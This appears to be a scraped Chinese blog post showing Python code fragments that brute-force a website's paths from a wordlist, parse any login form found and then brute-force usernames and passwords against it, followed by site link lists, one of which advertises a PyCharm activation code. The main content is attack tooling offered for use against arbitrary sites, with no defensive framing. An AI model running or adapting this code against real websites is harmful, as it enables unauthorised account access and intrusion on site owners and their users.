python遍历路径破解表单的示例


Posted in Python onNovember 21, 2020

首先是利用python遍历路径,采用字典爆破的形式,当然如果只是单纯的爆破路径,简单写一个多线程脚本就行了。这里考虑如何对爆破到的路径进行第二步利用,此处尝试对猜解到的路径进行表单发现及登陆爆破处理。

​首先就是路径爆破,采用多线程队列,爆破路径,判断形式为200响应码。

while not self._queue.empty():
      queue = self._queue.get(timeout=0.5)
      try:
        r = requests.get(self.url+queue,timeout=5, headers=self.headers)
        if r.status_code == 200:
          print "[200] %s" %(queue)
          soup = BeautifulSoup(r.content,'html.parser')
          if soup.find('form'):
            self.brute(soup, queue)

猜解到路径后交给brute方法处理,方法实现了一个css选择器,获取form表单中的input字段标签,提取标签参数组合成post参数值,然后提取表单中的action跳转页面,如没有页面默认在当前表单页提交。

input = soup.select("form input")
      for i in input:
        try:
          if i.attrs['type'] == "hidden":
            name, value = i.attrs['name'], i.attrs['value']
            list_post.append(name+'='+value)
          elif i.attrs['type'] == 'password':
            name = i.attrs['name']
            list_post.append(name+'=$$$')
          else:
            name = i.attrs['name']
            list_post.append(name+'=%%%')
        except:
          continue
      for i in list_post:
        post = post + i + '&'
      action = soup.find_all('form')
      for i in action:
        if i['action']:
          actiontag = i['action']
        else:
          actiontag = queue
      self.payload(post, actiontag)

获取参数值后,交给payload方法处理登陆,采用requests库的session登陆。获取cookie,先采用session请求获取cookie后,再采用session携带cookie进行请求提交。然后对输入的验证值进行判断是否为登陆成功。

for name in self.username():
      post_user = post.replace('%%%',name.strip())
      for pwd in self.password():
        post_pwd = post_user.replace('$$$',pwd.strip())
        session = requests.Session()
        session.get(self.url+'/'+action, headers=self.headers, verify=False)
        r = session.post(self.url+'/'+action, data=post_pwd, headers=self.headers, verify=False)
        if self.word in r.content:
          print '[username] %s' %name +'\r' + '[password] %s' %pwd
          return

为了判断是否登陆成功,采用的人为输入判断字符串的形式。也就是脚本执行形式为

python xxx.py http://xxxx.com xxxxx

以上就是python遍历路径破解表单的示例的详细内容,更多关于python 破解表单的资料请关注三水点靠木其它相关文章!

Python 相关文章推荐
Python获取DLL和EXE文件版本号的方法
Mar 10 Python
Odoo中如何生成唯一不重复的序列号详解
Feb 10 Python
Python中常用的内置方法
Jan 28 Python
seek引发的python文件读写的问题及解决
Jul 26 Python
Python 最强编辑器详细使用指南(PyCharm )
Sep 16 Python
python numpy数组中的复制知识解析
Feb 03 Python
Pytest mark使用实例及原理解析
Feb 22 Python
python的pip有什么用
Jun 17 Python
Python闭包装饰器使用方法汇总
Jun 29 Python
Python中Yield的基本用法
Oct 18 Python
python更新数据库中某个字段的数据(方法详解)
Nov 18 Python
Python合并多张图片成PDF
Jun 09 Python
Python如何批量生成和调用变量
Nov 21 #Python
在终端启动Python时报错的解决方案
Nov 20 #Python
python 批量下载bilibili视频的gui程序
Nov 20 #Python
Python ellipsis 的用法详解
Nov 20 #Python
python 动态渲染 mysql 配置文件的示例
Nov 20 #Python
Python paramiko使用方法代码汇总
Nov 20 #Python
分享一枚pycharm激活码适用所有pycharm版本我的pycharm2020.2.3激活成功
Nov 20 #Python
You might like
长波有什么东西
2021/03/01 无线电
《DOTA3》开发工作已经开始 《DOTA3》将代替《DOTA2》
2021/03/06 DOTA
PHP内核介绍及扩展开发指南―基础知识
2011/09/11 PHP
ueditor 1.2.6 使用方法说明
2013/07/24 PHP
PHP中使用Imagick读取pdf并生成png缩略图实例
2015/01/21 PHP
ThinkPHP5 框架引入 Go AOP,PHP AOP编程项目详解
2020/05/12 PHP
静态页面的值传递(三部曲)
2006/09/25 Javascript
一款js和css代码压缩工具[附JAVA环境配置方法]
2010/04/16 Javascript
JSChart轻量级图形报表工具(内置函数中文参考)
2010/10/11 Javascript
javascript中使用replaceAll()函数实现字符替换的方法
2010/12/25 Javascript
JavaScript拖拽、碰撞、重力及弹性运动实例分析
2016/01/08 Javascript
JavaScript必知必会(六) delete in instanceof
2016/06/08 Javascript
js 定义对象数组(结合)多维数组方法
2016/07/27 Javascript
Three.js的使用及绘制基础3D图形详解
2017/04/27 Javascript
js实现水平滚动菜单导航
2017/07/21 Javascript
全选复选框JavaScript编写小结(附代码)
2017/08/16 Javascript
Vue.js实现图片的随意拖动方法
2018/03/08 Javascript
通过webpack引入第三方库的方法
2018/07/20 Javascript
JavaScript设计模式之观察者模式(发布订阅模式)原理与实现方法示例
2018/07/27 Javascript
在移动端使用vue-router和keep-alive的方法示例
2018/12/02 Javascript
微信小程序实现文件、图片上传功能
2020/08/18 Javascript
nodejs对项目下所有空文件夹创建gitkeep的方法
2019/08/02 NodeJs
快速解决Vue、element-ui的resetFields()方法重置表单无效的问题
2020/08/12 Javascript
python 换位密码算法的实例详解
2017/07/19 Python
python如何拆分含有多种分隔符的字符串
2018/03/20 Python
pyqt5 使用cv2 显示图片,摄像头的实例
2019/06/27 Python
python数据类型之间怎么转换技巧分享
2019/08/20 Python
Python中包的用法及安装
2020/02/11 Python
python如何代码集体右移
2020/07/20 Python
Canvas系列之滤镜效果
2019/02/12 HTML / CSS
全球独特生活方式产品和礼品购物网站:AHAlife
2018/09/18 全球购物
矫正人员思想汇报
2014/01/08 职场文书
《锄禾》教学反思
2014/04/08 职场文书
党员民主生活会对照检查材料思想汇报
2014/09/28 职场文书
作风建设剖析材料
2014/10/06 职场文书
信息技术教研组工作总结
2015/08/13 职场文书